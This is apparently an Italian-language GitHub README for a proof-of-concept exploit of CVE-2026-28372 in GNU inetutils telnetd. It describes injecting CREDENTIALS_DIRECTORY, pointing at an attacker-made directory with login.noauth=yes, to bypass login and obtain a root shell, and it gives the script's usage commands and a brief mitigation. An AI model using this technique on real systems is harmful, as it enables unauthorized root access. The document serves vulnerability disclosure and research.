kalibb/cve-2026-28372-gnu-inetutils-telnetd-privilege-escalation-mainProof-of-concept exploit per CVE-2026-28372, che dimostra l'escalation dei privilegi locali in GNU inetutils telnetd tramite l'iniezione di variabili d'ambiente per bypassare l'autenticazione e ottenere una shell di root.
Mohammed Idrees Banyamer
Giordania 🇯🇴
Instagram: @banyamer_security
Ricercatore di Sicurezza | Sicurezza Offensiva | Sviluppo Exploit
CVE‑2026‑28372 — Privilege Escalation in GNU inetutils telnetd tramite CREDENTIALS_DIRECTORY + login.noauth
Questa Proof‑of‑Concept dimostra una vulnerabilità di Privilege Escalation Locale in GNU inetutils telnetd.
telnetd passa in modo improprio le variabili d'ambiente controllate dal client a login(1).
Impostando:
CREDENTIALS_DIRECTORY=<directory dell'attaccante>
e inserendo:
login.noauth = yes
l'autenticazione viene bypassata, consentendo potenzialmente di ottenere una shell di root senza password.
login.noauthProblema di fiducia nelle variabili d'ambiente di telnetd → login(1).
login.noauth con valore yeslogin legge la directory delle credenziali controllata dall'attaccanteflowchart TD
A[Utente non privilegiato] --> B[Crea directory credenziali fake]
B --> C[Inserisci login.noauth = yes]
C --> D[Connettiti a telnetd]
D --> E[Inietta variabili ENV]
E --> F[Imposta CREDENTIALS_DIRECTORY]
F --> G[telnetd chiama login]
G --> H[login legge login.noauth]
H --> I[Bypass dell'autenticazione]
I --> J[Shell di root ottenuta]python3 cve-2026-28372.py
Parametri opzionali:
python3 cve-2026-28372.py --host 127.0.0.1 --port 23 --user root
✔ Creazione della directory delle credenziali controllata dall'attaccante
✔ Generazione del file di bypass login.noauth
✔ Connessione a telnetd
✔ Iniezione delle variabili d'ambiente dannose
✔ Tentativo di bypass dell'autenticazione
unsetenv("CREDENTIALS_DIRECTORY")
/bin/login o /usr/bin/loginQuesto PoC è fornito per:
L'uso non autorizzato è vietato.
Scoperto e Ricercato da:
Mohammed Idrees Banyamer banyamer_security